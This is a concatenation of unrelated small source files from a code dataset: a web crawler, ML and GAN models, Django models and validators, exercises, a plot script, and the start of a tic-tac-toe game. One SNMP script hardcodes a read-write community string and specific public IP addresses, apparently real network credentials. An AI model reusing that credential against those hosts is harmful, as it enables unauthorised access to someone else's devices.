urllib.robotparser\n\nimport requests\nfrom bs4 import BeautifulSoup\n\nimport downloader\n\n\ndef crawl_links(seed_url, link_regex=None, delay=5, max_depth=-1, max_urls=-1, num_retries=1, cache=None):\n \"\"\"\n \"\"\"\n crawl_queue = [seed_url]\n \n seen = {seed_url:0}\n\n num_urls = 0\n rp = get_robot(seed_url)\n DL = downloader.downloader(delay=delay, num_retries=num_retries, cache=cache)\n\n while crawl_queue:\n url = crawl_queue.pop()\n depth = seen.get(url, -2)\n user_agent = downloader.USER_AGENT[random.randrange(0, len(downloader.USER_AGENT))]\n if rp.can_fetch(user_agent.get('User-Agent'), url):\n html = DL(url)\n links = []\n\n if depth != max_depth:\n if link_regex:\n links.extend(link for link in get_links(html) if re.search(link_regex, link))\n\n for link in links:\n link = normalize(seed_url, link)\n \n if link not in seen:\n seen[link] = depth + 1\n\n if same_domain(seed_url, link):\n crawl_queue.append(link)\n\n num_urls += 1\n if num_urls == max_urls:\n break\n else:\n downloader.show_msg('Blocked by robots.txt: ', url)\n \n pass\n\n\ndef get_robot(seed_url):\n \"\"\"返回robots.txt的解析对象\n \"\"\"\n # robot_parse = urllib.robotparser.RobotFileParser()\n robot_parse = urllib.robotparser.RobotFileParser()\n robot_parse.set_url(urllib.parse.urljoin(seed_url, '/robots.txt'))\n robot_parse.read()\n return robot_parse\n\n\ndef normalize(seed_url, link):\n \"\"\"去除链接干扰项\n \"\"\"\n parse_result = urllib.parse.urlparse(link)\n return urllib.parse.urljoin(seed_url, parse_result.path)\n\n\ndef same_domain(url1, url2):\n \"\"\"如果两个网址属于同一网站，返回True\n \"\"\"\n return urllib.parse.urlparse(url1).netloc == urllib.parse.urlparse(url2).netloc\n\n\ndef get_links(html):\n \"\"\"通过正则匹配获取链接\n \"\"\"\n webpage_regex = re.compile(r'.*?', re.S)\n return webpage_regex.findall(html)\n\n\nif __name__ == \"__main__\":\n crawl_links('http://example.webscraping.com', '/(index|view)', delay=0, num_retries=1, max_depth=1)","sub_path":"practice/python_spider/Chapter_three/crawl_s3.py","file_name":"crawl_s3.py","file_ext":"py","file_size_in_byte":2401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"285245777","text":"# import python modules\nimport os, random\nimport pandas as pd \nimport numpy as np \nimport cv2\n\ndatabase_path = \"~/laptop/present_work/pediatric_bone_age/database/rsna_bone_age\"\ntrain_label = \"train_label.csv\"\ntest_label = \"test_label.csv\"\n\ntrain_df = pd.read_csv(os.path.join(database_path, train_label))\nprint(train_df.head())\n\npid = list(train_df[\"id\"])\nage = list(train_df[\"boneage\"])\nmale = list(train_df[\"male\"])\n\n# getting the length of all column\nprint(len(pid)) # 12,611\nprint(len(age)) # 12,611\nprint(len(male))# 12,611\n# foudn no missing value\n\n\ntrain_df['gender'] = train_df['male'].map(lambda x: 'male' if x else 'female')\nboneage_mean = train_df['boneage'].mean()\nboneage_div = 2*train_df['boneage'].std()\n\n# we don't want normalization for now\nboneage_mean = 0\nboneage_div = 1.0\ntrain_df['boneage_zscore'] = train_df['boneage'].map(lambda x: (x-boneage_mean)/boneage_div)\ntrain_df.dropna(inplace = True)\nprint(train_df.sample(3))\n","sub_path":"src/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"641237081","text":"import json\n\nfrom django.contrib.gis.db import models\n\n\nclass StateCensusTract(models.Model):\n \"\"\"\n This model represents the shapefile for census tracts per state. This\n model is auto-generated using the ogrinspect Django command.\n \"\"\"\n\n statefp = models.CharField(max_length=2)\n countyfp = models.CharField(max_length=3)\n tractce = models.CharField(max_length=6)\n geoid = models.CharField(max_length=11, unique=True)\n name = models.CharField(max_length=7)\n namelsad = models.CharField(max_length=20)\n mtfcc = models.CharField(max_length=5)\n funcstat = models.CharField(max_length=1)\n aland = models.FloatField()\n awater = models.FloatField()\n intptlat = models.CharField(max_length=11)\n intptlon = models.CharField(max_length=12)\n geom = models.MultiPolygonField(srid=4269)\n\n minlat = models.FloatField(db_index=True)\n maxlat = models.FloatField(db_index=True)\n minlon = models.FloatField(db_index=True)\n maxlon = models.FloatField(db_index=True)\n geojson = models.TextField()\n\n objects = models.GeoManager()\n\n def __str__(self):\n return '%s (county: %s, state: %s)' % (\n self.namelsad, self.countyfp, self.statefp)\n\n def auto_fields(self):\n \"\"\"Populate the min and max lat/lon based on this object's geometry;\n also pre-compute a geojson representation for this model\"\"\"\n lons, lats = zip(*[pt for polygon in self.geom.coords\n for line in polygon\n for pt in line])\n self.minlat = min(lats)\n self.maxlat = max(lats)\n self.minlon = min(lons)\n self.maxlon = max(lons)\n\n # geometry is a placeholder, as we'll be inserting a pre-serialized\n # json string\n geojson = {\"type\": \"Feature\", \"geometry\": \"$_$\"}\n geojson['properties'] = {\n 'statefp': self.statefp,\n 'countyfp': self.countyfp,\n 'tractce': self.tractce,\n 'geoid': self.geoid,\n 'name': self.name,\n 'namelsad': self.namelsad,\n 'aland': self.aland,\n 'awater': self.awater,\n 'intptlat': self.intptlat,\n 'intptlon': self.intptlon,\n 'minlat': self.minlat,\n 'maxlat': self.maxlat,\n 'minlon': self.minlon,\n 'maxlon': self.maxlon\n }\n geojson = json.dumps(geojson)\n geojson = geojson.replace(\n '\"$_$\"',\n self.geom.simplify(preserve_topology=True).geojson)\n self.geojson = geojson\n\n def save(self):\n self.auto_fields()\n super(StateCensusTract, self).save()\n\n\n# Auto-generated `LayerMapping` dictionary for CensusTract model\ncensustract_mapping = {\n 'statefp': 'STATEFP',\n 'countyfp': 'COUNTYFP',\n 'tractce': 'TRACTCE',\n 'geoid': 'GEOID',\n 'name': 'NAME',\n 'namelsad': 'NAMELSAD',\n 'mtfcc': 'MTFCC',\n 'funcstat': 'FUNCSTAT',\n 'aland': 'ALAND',\n 'awater': 'AWATER',\n 'intptlat': 'INTPTLAT',\n 'intptlon': 'INTPTLON',\n 'geom': 'MULTIPOLYGON',\n}\n","sub_path":"institutions/geo/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"378154902","text":"#3.1\nn = int(input(\"Enter the value of n:\"))\n\nfor i in range(1,n+1):\n for j in range(i):\n print(\"*\",end='') \n print(\"\")\n\n#3.2\nn = int(input(\"Enter the value of n:\"))\n\nfor i in range(1,n+1):\n for j in range(n,i,-1):\n print(\" \",end='') \n for k in range(i):\n print(\"*\",end='')\n print(\"\") \n\n#3.3\nn = int(input(\"Enter the value of n:\"))\n\nfor i in range(n): \n for j in range(n-1,i,-1):\n print(\" \",end='')\n print(\"*\",end='')\n for j in range(i+(i-1)):\n print(\" \",end='')\n if i >= 1:\n print(\"*\")\n elif i == 0:\n print(\"\") \n\n#3.4\nn = int(input(\"Enter the value of n:\"))\n\ni=0\nreverse = False\n\nwhile(i >= 0):\n if n == 1:\n print(\"*\")\n break\n\n for j in range(i):\n print(\" \",end='')\n print(\"*\",end='')\n for k in range(n-2-2*i):\n print(\" \" if n>2 else '',end='')\n print(\"*\" if i == 0 or i != int(n/2) else '',end='')\n \n print(\"\")\n \n if(not reverse):\n i += 1 \n elif(reverse):\n i -= 1\n \n if n%2 == 0 and i == n/2 and not reverse:\n i -= 1\n reverse = True\n elif i == int(n/2) and not reverse:\n reverse = True\n\n\nn = int(input(\"Enter the value of n:\"))\n\ni=0\nreverse = False\n\nwhile(i >= 0):\n if n == 1:\n print(\"*\")\n break\n \n for j in range(n-1,i-1,-1):\n print(\" \",end='')\n for k in range(2*i+1):\n print(\"*\",end='') \n print(\"\")\n \n if(not reverse):\n i += 1 \n elif(reverse):\n i -= 1\n \n if n%2 == 0 and i == n/2 and not reverse:\n i -= 1\n reverse = True\n elif i == int(n/2) and not reverse:\n reverse = True\n\nn = int(input(\"Enter the value of n:\"))\n\ni=0\nreverse = False\n\nwhile(i >= 0):\n for j in range(n-2,i-1,-1):\n if not reverse:\n print(\"A\",end='')\n else:\n print(\"C\",end='')\n print(\"+\",end='') \n for k in range(2*(i-1)+1):\n print(\"E\",end='') \n\n print(\"+\" if i > 0 else \"\",end='')\n \n for j in range(n-2,i-1,-1):\n if not reverse:\n print(\"B\",end='')\n else:\n print(\"D\",end='')\n\n print(\"\")\n if(not reverse):\n i += 1 \n elif(reverse):\n i -= 1\n \n if i > n-1:\n i = n - 2\n reverse = True\n\n\n#4\n# the difference between else and finally is that else clause \n# executes if the try block doesn't run into any exception\n# where as finally clause while coming out of the try block.\n\ndef divide(x,y):\n try:\n result = x/y\n except ZeroDivisionError:\n print(\"division by zero\")\n else:\n print(\"The result:\",result)\n finally:\n print(\"Finally clause\")\n\ndivide(2,1)\ndivide(2,0)\ndivide(\"2\",\"1\")","sub_path":"patterns.py","file_name":"patterns.py","file_ext":"py","file_size_in_byte":2740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"79838402","text":"from pysnmp.entity.rfc3413.oneliner import cmdgen\n\n\ncmdGen = cmdgen.CommandGenerator()\n\n\n# 1.3.6.1.2.1.2.2.1.10.2\n\n# (1, 3, 6, 1, 2, 1, 4, 20, 1, 1)\ndef get(ip):\n errorIndication, errorStatus, errorIndex, varBinds = cmdGen.bulkCmd(\n cmdgen.CommunityData('chinalife-rw'),\n cmdgen.UdpTransportTarget((ip, 161)),\n 0, 25,\n (1, 3, 6, 1, 2, 1, 4, 20)\n\n )\n if errorIndication:\n print(ip + '---' + str(errorIndication))\n else:\n for var in varBinds:\n if '2.'+ip in str(var[0]):\n print('1.3.6.1.2.1.2.2.1.10.'+str(var[0])[-1:])\n\n\n# get('1.180.143.238')\nget('124.135.9.42')\n","sub_path":"test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"593818307","text":"import pygame\r\n\r\nfrom widget import Widget\r\n\r\nclass Menu (Widget):\r\n \"\"\"\r\n Class defining a text menu of options that a user may select and execute.\r\n \"\"\"\r\n def __init__(self,rect):\r\n super(Menu,self).__init__(rect)\r\n \r\n self.options = [] # A list of (widget,method,*arg) tuples.\r\n \r\n self.add_mouse_handler(self.click, pygame.MOUSEBUTTONDOWN, 1, 1)\r\n self.add_mouse_handler(self.click, pygame.MOUSEBUTTONDOWN, 3, 3)\r\n \r\n def do_nothing(self):\r\n pass\r\n \r\n def add_option(self, widget, method=None,*arguments):\r\n if method == None:\r\n method = self.do_nothing\r\n widget.rect = (widget.x0,widget.y0,widget.width,widget.height)\r\n self.options.append((widget,method,arguments))\r\n \r\n def _tick(self,deltaTime):\r\n super(Menu,self)._tick(deltaTime)\r\n for (widget,_,_) in self.options:\r\n widget._tick(deltaTime)\r\n self.update()\r\n \r\n def click(self,button):\r\n (mouseX, mouseY) = pygame.mouse.get_pos()\r\n (mouseX, mouseY) = (mouseX - self.x0, mouseY - self.y0)\r\n for (widget, method, args) in self.options:\r\n if pygame.Rect(widget.rect).collidepoint(mouseX, mouseY):\r\n method(*args)\r\n return True\r\n \r\n def _draw(self):\r\n super(Menu,self)._draw()\r\n \r\n for (widget, _, _) in self.options:\r\n widget._draw()\r\n self.surface.blit(widget.surface, (widget.x0, widget.y0) )\r\n\r\n\r\n ","sub_path":"duelfieldstars/ui/ui_abstract/menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":1550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"590121374","text":"#Blinking turtle for introductory programming lab\n\nimport turtle\n\ndef main():\n numSides = 8\n daniel = turtle.Turtle() #Set up a turtle named \"daniel\"\n myWin = turtle.Screen() #The graphics window\n\n #Draw a square\n for i in range(numSides):\n if i % 2 == 0:\n daniel.color(\"red\")\n else:\n daniel.color(\"green\") \n daniel.forward(100) #Move forward 10 steps\n daniel.right(360/numSides) #Turn 90 degrees to the right\n\n myWin.exitonclick() #Close the window when clicked\n \nmain()\t\t\n","sub_path":"teaching/cmp/cis166/s14/blinkTurtle.py","file_name":"blinkTurtle.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"628652124","text":"# coding=utf-8\nimport socket\nfrom django.core.exceptions import ValidationError\nfrom django.core.validators import URLValidator\n\n__author__ = 'cainli'\n\n\ndef validate_multiurl(value):\n if not value:\n urls = []\n else:\n urls = value.split('\\r\\n')\n for url in urls:\n try:\n validator = URLValidator()\n validator(url)\n except ValidationError:\n raise ValidationError(u'%s不正确请检查格式以及是否可用' % url)\n\n\ndef validate_host(value):\n if value.startswith(\"http://\") or value.startswith(\"https://\"):\n raise ValidationError(u'请输入域名，不要带http,https之类')\n try:\n # ip = socket.gethostbyname(value)\n result = socket.getaddrinfo(value, None)\n ip = result[0][4]\n except:\n raise ValidationError(u'域名不可以用，请检查格式或者是否DNS解析成功')\n\n if ip != '120.24.183.207':\n raise ValidationError(u'请检查DNS配置,配置的ip不正确，ip应该配置为120.24.183.207')\n\n# get_ip_address('lo') 内网 '127.0.0.1'\n# get_ip_address('eth0') 外网 '38.113.228.130'\n# def get_ip_address(ifname):\n# s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n# return socket.inet_ntoa(fcntl.ioctl(\n# s.fileno(),\n# 0x8915, # SIOCGIFADDR\n# struct.pack('256s', ifname[:15])\n# )[20:24])\n","sub_path":"wxms/validate.py","file_name":"validate.py","file_ext":"py","file_size_in_byte":1375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"523926593","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n'''\nnum = int(input())\ncontent = []\nfor i in range(num * 3):\n content.append(list(map(int,input().split())))\n\ndef get_li(li):\n i = 0\n narray = []\n for i in range(num):\n narray.append([])\n j = i * 3\n for j in range(j, j + 3):\n narray[i].append(li[j])\n return narray\n\ndef judge(li, u=1):\n for i in range(3):\n if li[i][0] == li[i][1] == li[i][2] == u:\n return True\n for i in range(3):\n if li[0][i] == li[1][i] == li[2][i] == u:\n return True\n if li[0][0] == li[1][1] == li[2][2] == u:\n return True\n if li[2][0] == li[1][1] == li[0][1] == u:\n return True\n return False\n\n\ndef space(li, u=0):\n count = 0\n for i in range(3):\n for j in range(3):\n if li[i][j] == u:\n count += 1\n return count\n\n\ndef dfs(li, u):\n max1, min1 = -10, 10\n if u==1 and judge(li, 2):\n return -space(li)-1\n if u==2 and judge(li, 1):\n return space(li)+1\n if (space(li) >= 7) or (space(li)==0): return 0\n \n for i in range(3):\n for j in range(3):\n if li[i][j] == 0:\n #lic = copy.deepcopy(li)\n li[i][j] = u\n if u==1:\n max1=max(max1,dfs(li, 2))\n else:\n min1=min(min1,dfs(li, 1))\n li[i][j]=0\n if u==1:\n return max1\n else:\n return min1\nfor i in get_li(content):\n if judge(i):\n print(space(i)+1)\n elif judge(i, 2):\n print(-space(i)-1)\n else:\n print(dfs(i, 1))\n\n\nimport dashtable\n\nf = ''\nl = dashtable.html2rst(f)\nprint l\n\n'''\n'''\n\n\nnum = int(input())\nn = num//10\n\ndef buy(n):\n if n == 0:\n return 0\n if n == 1:\n return 1\n if n == 2:\n return 2\n if n == 3:\n return 4\n if n == 4:\n return 5\n if n == 5:\n return 7\n x = 0\n if n>5:\n x = buy(n-5)+7\n return x\nprint(buy(n))\n\n\n\nN, k = list(map(int,input().split()))\n\ntecher = []\nfor i in range(k):\n techer.append(list(map(int, input().split())))\npub = list(range(1,N+1))\n\nstart_pub = []\nend_pub = []\n\nfor i in techer:\n start_pub.append([i[1],i[0]])\n end_pub.append([i[-1]+i[1],i[0]])\n\nstart_pub.sort()\nend_pub.sort()\n\ndef main():\n for i in range(N**2):\n while len(start_pub)>0 and start_pub[0][0]0:\n a = end_pub[0][1]\n end_pub.pop(0)\n pub[pub.index(0)] = a\n else:\n return pub\n\nprint(' '.join(map(str,main())))\n\n'''\nn = list(map(int,input().split()))\nn, m = n[0], n[1]\n\nall = ''\nfor i in range(n):\n all = all + input()\nfind = []\nfor i in range(m):\n find.append(input())\n\na = all.count(': ')\n\nwhile a != 0:\n all = all.replace(': ',':')\n a = all.count(': ')\n\ntry:\n d = eval(all)\nexcept:\n a = all.count(' ')\n while a != 0:\n all = all.replace(' ', '')\n a = all.count(' ')\nd = eval(all)\n\nfor i in find:\n i = i.split('.')\n b = len(i)\n if b == 0:\n x = d.get(i[0])\n if isinstance(x, str):\n print('STRING',x)\n elif isinstance(x, dict):\n print('OBJECT')\n else:\n print('NOTEXIST')\n else:\n x = d.get(i[0])\n for j in range(b-1):\n x = x.get(i[j+1])\n if isinstance(x, str):\n print('STRING',x)\n elif isinstance(x, dict):\n print('OBJECT')\n else:\n print('NOTEXIST')\n \n \n'''\n\n{\n\"firstName\": \"John\",\n\"lastName\": \"Smith\",\n\"address\": {\n\"streetAddress\": \"2ndStreet\",\n\"city\": \"NewYork\",\n\"a\": {\n\"d\": \"e\",\n\"f\": {\n\"d\": \"4\"\n}\n},\n\"state\": \"NY\"\n},\n\"esc\\\\aped\": \"\\\"hello\\\"\"\n}\nfirstName\naddress\naddress.city\naddress.postal\nesc\\aped\naddress.a.d\naddress.a.f\n'''\n","sub_path":"exercise/201808/26.py","file_name":"26.py","file_ext":"py","file_size_in_byte":3908,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"289067468","text":"import torch\nimport torch.nn as nn\n\nclass NetG(nn.Module):\n \"\"\"\n 生成器定义\n \"\"\"\n def __init__(self,opt):\n super(NetG, self).__init__()\n ngf = opt.ngf # 生成器feature map数\n\n self.main = nn.Sequential(\n # 输入是一个nz维度的噪声，我们可以认为它是一个nz*1*1的feature map\n nn.ConvTranspose2d(in_channels=opt.nz, out_channels=ngf * 8, kernel_size=4, stride=1, padding=0, bias=False),\n nn.BatchNorm2d(ngf * 8), #批 规范化 层\n nn.ReLU(True), # (True)会把输出直接覆盖到输入中\n # 上一步的输出形状：(ngf*8) x 4 x 4\n #nn.ConvTranspose2d(in_channels, out_channel, kernel_size, stride, padding，output_padding=, bias)\n # 逆卷积 卷积核 步长(扩大倍数) 输入填充(加边) 输出填边 添加偏离\n #out =output_padding + (in - 1 )* Stride - 2 * padding + kernel_size\n # 输入是一个nz维度的噪声，我们可以认为它是一个1*1*nz的feature map\n\n nn.ConvTranspose2d(ngf * 8, ngf * 4, 4, 2, 1, bias=False),\n nn.BatchNorm2d(ngf * 4),\n nn.ReLU(True),\n # 上一步的输出形状： (ngf*4) x 8 x 8\n\n nn.ConvTranspose2d(ngf * 4, ngf * 2, 4, 2, 1, bias=False),\n nn.BatchNorm2d(ngf * 2),\n nn.ReLU(True),\n # 上一步的输出形状： (ngf*2) x 16 x 16\n\n nn.ConvTranspose2d(ngf * 2, ngf, 4, 2, 1, bias=False),\n nn.BatchNorm2d(ngf),\n nn.ReLU(True),\n # 上一步的输出形状：(ngf) x 32 x 32\n\n nn.ConvTranspose2d(ngf, 3, 5, 3, 1, bias=False),\n nn.Tanh() # 输出范围 -1~1 故而采用Tanh\n # 输出形状：3 x 96 x 96\n )\n\n def forward(self, input):\n return self.main(input)\n\n\nclass NetD(nn.Module):\n \"\"\"\n 判别器定义\n \"\"\"\n\n def __init__(self, opt):\n super(NetD, self).__init__()\n ndf = opt.ndf\n\n self.main = nn.Sequential(\n # 输入 3 x 96 x 96\n nn.Conv2d(3, ndf, 5, 3, 1, bias=False),\n nn.LeakyReLU(0.2, inplace=True),\n nn.Dropout2d(0.25),\n # 输出 (ndf) x 32 x 32\n\n nn.Conv2d(ndf, ndf * 2, 4, 2, 1, bias=False),\n nn.LeakyReLU(0.2, inplace=True),\n nn.Dropout2d(0.25),\n nn.BatchNorm2d(ndf * 2, 0.8),\n # 输出 (ndf*2) x 16 x 16\n\n nn.Conv2d(ndf * 2, ndf * 4, 4, 2, 1, bias=False),\n nn.LeakyReLU(0.2, inplace=True),\n nn.Dropout2d(0.25),\n nn.BatchNorm2d(ndf * 4, 0.8),\n # 输出 (ndf*4) x 8 x 8\n\n nn.Conv2d(ndf * 4, ndf * 8, 4, 2, 1, bias=False),\n nn.LeakyReLU(0.2, inplace=True),\n nn.Dropout2d(0.25),\n nn.BatchNorm2d(ndf * 8, 0.8),\n # 输出 (ndf*8) x 4 x 4\n\n\n nn.Conv2d(ndf * 8, 1, 4, 1, 0, bias=False),\n\n nn.Sigmoid() # 输出一个数(概率)\n )\n def forward(self, input):\n return self.main(input).view(-1)\n\n","sub_path":"t1/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3093,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"170627107","text":"import torch\n\nimport math\n\nimport models\nimport dataset\n\n\nwith torch.no_grad():\n\n # state_dict = torch.load(\"src/experiment_checkpoints/21-01-12_19-26-27_Fashion_VAEWithVamp.pt\")\n state_dict = torch.load(\"src/experiment_checkpoints_without_time/MNIST_VAE.pt\")\n dataset_name = \"MNIST\"\n ds = dataset.load_test_dataset(dataset_name)\n dims = dataset.load_dims(dataset_name)\n # vae = models.VAEWithVampPrior(input_dims=dims, latent_dims=10, num_components=500)\n vae = models.VAE(input_dims=dims, latent_dims=40)\n vae.load_state_dict(state_dict)\n\n ll_per_point = vae.log_likelihood(ds, samples=100, batch_size=1000, use_cuda=True)\n average_ll = torch.logsumexp(ll_per_point, dim=0) - math.log(len(ds))\n print(average_ll)\n","sub_path":"src/likelihood.py","file_name":"likelihood.py","file_ext":"py","file_size_in_byte":748,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"542391339","text":"import matplotlib\nmatplotlib.use('TkAgg')\nimport matplotlib.pyplot as plt\nimport numpy as np\n\ndef get_average(numbers):\n step = 0\n race = 0\n while step != len(numbers) + 1:\n if step == 0:\n x = numbers[step]\n step += 2\n race += 1\n yield x\n if numbers[step-1] != 0:\n race += 1\n x = sum(numbers[:step]) / race\n step += 1\n yield x\n\nhome_name = [\n #2015\n 'AUS','MAL','CHN','BHR','ESP','MON','CAN','AUT','GBR',\n 'HUN','BEL','ITA','SIN','JPN','RUS','USA','MEX','BRA','ABU',\n #2016\n 'AUS','BHR','CHN','RUS','ESP','MON','CAN','EUR','AUT','GBR'\n]\n\nhome_ticks = [x for x in range(1, len(home_name) + 1)]\nplt.xticks(home_ticks, home_name)\n\nriccardo = [\n [6,4,7,7,10,4,9,18,10,4,5,19,2,7,10,3,5,19,5,8,5,2,5,3,1,4,2,5,4],\n [6,10,9,6,7,5,13,10,0,3,0,8,2,15,0,10,5,11,6,4,4,4,11,4,2,7,7,5,4]\n]\n\nverstappen = [\n [12,6,13,15,11,9,19,7,13,9,18,20,8,15,9,8,8,9,11,4,10,9,9,4,21,5,9,8,3],\n # DNF - AUS 2015\n [7,0,18,11,0,15,8,0,4,8,12,8,9,10,4,9,9,16,10,6,8,0,1,0,4,8,2,3]\n]\n\nsainz = [\n [8,15,14,9,9,20,11,12,8,12,19,17,14,12,20,20,11,19,10,7,11,8,11,8,6,15,18,15,7],\n [9,8,14,19,9,10,12,0,14,0,0,11,9,10,0,7,13,0,11,9,0,9,12,6,8,9,0,8,8]\n]\n\nkvyat = [\n [13,5,12,17,19,5,8,15,7,7,12,18,4,10,11,4,4,7,9,18,15,6,8,13,8,16,6,22,14],\n # DNF - AUS 2015\n [9,0,9,10,4,9,12,6,2,4,10,6,13,5,0,4,7,10,0,7,3,15,10,0,12,0,0,10]\n]\n\n#race\nplt.plot(home_ticks, np.array([x for x in get_average(riccardo[1])]), color='red')\nplt.plot(home_ticks[1:], np.array([x for x in get_average(verstappen[1])]), color='orange')\nplt.plot(home_ticks, np.array([x for x in get_average(sainz[1])]), color='green')\nplt.plot(home_ticks[1:], np.array([x for x in get_average(kvyat[1])]), color='purple')\n\n#quali\nplt.plot(home_ticks, np.array([x for x in get_average(riccardo[0])]), color='red', linestyle='dashed')\nplt.plot(home_ticks, np.array([x for x in get_average(verstappen[0])]), color='orange', linestyle='dashed')\nplt.plot(home_ticks, np.array([x for x in get_average(sainz[0])]), color='green', linestyle='dashed')\nplt.plot(home_ticks, np.array([x for x in get_average(kvyat[0])]), color='purple', linestyle='dashed')\n\n\nplt.axvline(x=1, color='gray', linestyle='dashed',\n label='pre-industrial', lw=1.5)\nplt.text(1.1,0.5,'2015')\nplt.axvline(x=20, color='gray', linestyle='dashed',\n label='pre-industrial', lw=1.5)\nplt.text(20.1,0.5,'2016')\n\nplt.axvline(x=24, color='gray', linestyle='dotted',\n label='pre-industrial', lw=1.5)\nplt.text(24.1,0.5,'KVY<->VES')\n\nplt.title('RedBull Racing drivers average position per clean race/qualification', fontsize=18)\nplt.legend(['Daniel Ricciardo', 'Max Verstappen', 'Carlos Sainz', 'Daniil Kvyat', 'Qualification'], loc='upper left')\nplt.xlabel('GP HOME')\nplt.ylabel('Average Position')\nplt.gca().invert_yaxis()\n\nplt.show()","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"644380423","text":"#######################################################################\n# Copyright (C) 2017 Shangtong Zhang(zhangshangtong.cpp@gmail.com) #\n# Permission given to modify the code as long as you keep this #\n# declaration at the top #\n#######################################################################\n\nfrom .base_network import *\n\n# Network for CartPole with value based methods\nclass FCNet(nn.Module, VanillaNet):\n def __init__(self, dims, optimizer_fn=None, gpu=True):\n super(FCNet, self).__init__()\n self.fc1 = nn.Linear(dims[0], dims[1])\n self.fc2 = nn.Linear(dims[1], dims[2])\n self.fc3 = nn.Linear(dims[2], dims[3])\n BasicNet.__init__(self, optimizer_fn, gpu)\n\n def forward(self, x):\n x = self.to_torch_variable(x)\n x = x.view(x.size(0), -1)\n y = F.relu(self.fc1(x))\n y = F.relu(self.fc2(y))\n y = self.fc3(y)\n return y\n\n# Network for CartPole with dueling architecture\nclass DuelingFCNet(nn.Module, DuelingNet):\n def __init__(self, dims, optimizer_fn=None, gpu=True):\n super(DuelingFCNet, self).__init__()\n self.fc1 = nn.Linear(dims[0], dims[1])\n self.fc2 = nn.Linear(dims[1], dims[2])\n self.fc_value = nn.Linear(dims[2], 1)\n self.fc_advantage = nn.Linear(dims[2], dims[3])\n BasicNet.__init__(self, optimizer_fn, gpu)\n\n def forward(self, x):\n x = self.to_torch_variable(x)\n x = x.view(x.size(0), -1)\n y = F.relu(self.fc1(x))\n phi = F.relu(self.fc2(y))\n return phi\n\n# Network for CartPole with actor critic\nclass ActorCriticFCNet(nn.Module, ActorCriticNet):\n def __init__(self, state_dim, action_dim):\n super(ActorCriticFCNet, self).__init__()\n hidden_size1 = 50\n hidden_size2 = 200\n self.fc1 = nn.Linear(state_dim, hidden_size1)\n self.fc2 = nn.Linear(hidden_size1, hidden_size2)\n self.fc_actor = nn.Linear(hidden_size2, action_dim)\n self.fc_critic = nn.Linear(hidden_size2, 1)\n BasicNet.__init__(self, None, False)\n\n def forward(self, x, update_LSTM=True):\n x = self.to_torch_variable(x)\n x = x.view(x.size(0), -1)\n x = F.relu(self.fc1(x))\n phi = self.fc2(x)\n return phi\n\nclass FruitHRFCNet(nn.Module, VanillaNet):\n def __init__(self, state_dim, action_dim, head_weights, optimizer_fn=None, gpu=True):\n super(FruitHRFCNet, self).__init__()\n hidden_size = 250\n self.fc1 = nn.Linear(state_dim, hidden_size)\n self.fc2 = nn.ModuleList([nn.Linear(hidden_size, action_dim) for _ in head_weights])\n self.head_weights = head_weights\n BasicNet.__init__(self, optimizer_fn, gpu)\n\n def forward(self, x, heads_only):\n x = self.to_torch_variable(x)\n x = x.view(x.size(0), -1)\n x = F.relu(self.fc1(x))\n head_q = [fc(x) for fc in self.fc2]\n if not heads_only:\n q = [h * w for h, w in zip(head_q, self.head_weights)]\n q = torch.stack(q, dim=0)\n q = q.sum(0).squeeze(0)\n return q\n else:\n return head_q\n\n def predict(self, x, heads_only):\n return self.forward(x, heads_only)\n\nclass FruitMultiStatesFCNet(nn.Module, BasicNet):\n def __init__(self, state_dim, action_dim, head_weights, optimizer_fn=None, gpu=True):\n super(FruitMultiStatesFCNet, self).__init__()\n hidden_size = 250\n self.fc1 = nn.ModuleList([nn.Linear(state_dim, hidden_size) for _ in head_weights])\n self.fc2 = nn.ModuleList([nn.Linear(hidden_size, action_dim) for _ in head_weights])\n self.head_weights = head_weights\n self.state_dim = state_dim\n self.n_heads = head_weights.shape[0]\n BasicNet.__init__(self, optimizer_fn, gpu)\n\n def predict(self, x, merge):\n head_q = []\n for i in range(self.n_heads):\n q = self.to_torch_variable(x[:, i, :])\n q = self.fc1[i](q)\n q = F.relu(q)\n q = self.fc2[i](q)\n head_q.append(q)\n if merge:\n q = [q * w for q, w in zip(head_q, self.head_weights)]\n q = torch.stack(q, dim=0)\n q = q.sum(0).squeeze(0)\n return q\n return head_q\n","sub_path":"DeepRL/network/shallow_network.py","file_name":"shallow_network.py","file_ext":"py","file_size_in_byte":4280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"326218498","text":"#! python\n\n\"\"\"\nGame: Tic-tac-toe.\n\"\"\"\n\nfrom txt_game.tic_tac_toe.settings import read_setting, save_settings, sm, input_set\nfrom txt_game.rendering import rend_menu, clr\nfrom txt_game.tic_tac_toe.game import run_game\nfrom txt_game.tic_tac_toe.statistics import show_stat\nimport keyboard\nimport threading\nimport time\n\n\nFPS = 5\n\nsettings = read_setting()\nmode = '1'\n# '1' 